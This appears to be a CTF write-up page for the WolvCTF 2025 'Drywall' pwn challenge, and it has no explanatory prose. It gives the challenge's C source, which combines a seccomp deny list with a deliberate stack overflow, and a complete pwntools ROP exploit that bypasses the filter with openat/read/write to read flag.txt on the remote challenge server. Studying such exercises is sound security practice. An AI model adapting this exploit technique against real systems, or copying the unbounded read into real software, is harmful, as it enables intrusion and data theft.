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#import "./html_elements.typ": post
#show: post
// +++
// title = 'Wolvctf2025 Drywall'
// date = 2025-03-31T13:23:52-03:00
// tags = ['pwn']
// +++
// writeup coming soon...
= Drywall
= challenge source
```c
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
typedef void * scmp_filter_ctx;
static char name[30];
void gift(){
asm ("pop %rdx; ret;");
asm ("pop %rax; ret;");
asm ("syscall; ret;");
}
int main(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(readv),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(writev),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(process_vm_readv),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(process_vm_writev),0);
seccomp_load(ctx);
char buf[256];
puts("What is your name, epic H4x0r?");
fgets(name, 30, stdin);
printf("Good luck %s <|;)\n", name);
printf("%p\n",main);
fgets(buf, 0x256, stdin);
return 0;
}
```
= solution
```python
from pwn import *
context.update(arch='amd64', os='linux')
#b *(main+378)
#io = gdb.debug('./drywall', '''
#b *(main+471)
#c
# ''')
#io = process('./drywall')
io = remote('drywall.kctf-453514-codelab.kctf.cloud', 1337)
io.send(b'.//./././././././././flag.txt')
io.readline()
io.readline()
io.readline()
base = int(io.readline(), 16) - 419
print('base: ', hex(base))
pop_rdi = base+0x3db
pop_rax = base+0x19b
pop_rdx = base+0x199
pop_rsi_pop_r15 = base+0x3d9
syscall = base+413
flag = base+0x3050
p = b''
# openat(AT_FDCWD, "flag.txt", O_RDONLY)
p += p64(pop_rdi)
p += p64(0xffffff9c) # AT_FDCWD (-100)
p += p64(pop_rsi_pop_r15)
p += p64(flag) # Pointer to "flag.txt"
p += p64(0xdeadbeef) # R15 garbage
p += p64(pop_rdx)
p += p64(0) # O_RDONLY
p += p64(pop_rax)
p += p64(257) # openat syscall number
p += p64(syscall)
# read(fd, flag, 100)
p += p64(pop_rax)
p += p64(0) # read syscall
p += p64(pop_rdi)
p += p64(3) # Assume fd=3 (first opened file)
p += p64(pop_rsi_pop_r15)
p += p64(flag) # Read into same buffer
p += p64(0xdeadbeef) # R15 garbage
p += p64(pop_rdx)
p += p64(100) # Read 100 bytes
p += p64(syscall)
# write(fd=1, flag, bytes_read)
p += p64(pop_rax)
p += p64(1) # write syscall
p += p64(pop_rdi)
p += p64(1) # stdout
p += p64(pop_rsi_pop_r15)
p += p64(flag)
p += p64(0xdeadbeef)
p += p64(pop_rdx)
p += p64(100)
p += p64(syscall)
io.sendline(cyclic(280) + p)
io.interactive()
```
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